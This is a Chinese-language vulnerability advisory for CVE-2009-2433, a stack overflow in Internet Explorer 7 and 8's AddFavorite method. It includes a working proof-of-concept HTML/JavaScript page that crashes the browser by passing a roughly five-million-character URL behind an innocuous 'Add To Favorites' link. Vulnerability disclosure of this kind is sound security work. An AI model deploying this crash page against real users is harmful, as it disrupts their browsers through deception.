安全研究

安全漏洞
Microsoft IE AddFavorite方式拒绝服务漏洞

发布日期:2009-07-09
更新日期:2009-07-13

受影响系统:
Microsoft Internet Explorer 8.0
Microsoft Internet Explorer 7.0
描述:
BUGTRAQ  ID: 35620
CVE(CAN) ID: CVE-2009-2433

Internet Explorer是Windows操作系统中默认捆绑的WEB浏览器。

Internet Explorer的AddFavorite方式存在栈溢出漏洞。如果用户受骗将包含有超长参数的URL添加到收藏夹的话,就可以触发这个溢出,导致浏览器崩溃。

<*来源:Sberry
  *>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<html>
<head>
<script language="JavaScript" type="Text/Javascript">
function go()
{
    var str =unescape('%u4141');
    var finalstr = createInlineBuffer(str, 5150000);
    var len = finalstr.length;
    document.write(len);
    addfav(finalstr);
}
              
/* Effient in-line creation */
function createInlineBuffer (str, num) {
    var    i = Math.ceil(Math.log(num) / Math.LN2),
        res = str;
    do {
        res += res;
    } while (0 < --i);
    return res.slice(0, str.length * num);
}

/* Vulnerable Function */
function addfav(str)
   {
   if (document.all)
      {
      window.external.AddFavorite
      ('http://'+str,'Crash')
      }
   }
</script>
</head>
<body>
<a href="javascript:go()">Add To Favorites</a>
</body>
</html>

建议:
厂商补丁:

Microsoft
---------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.microsoft.com/windows/ie/default.asp

浏览次数:3068
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障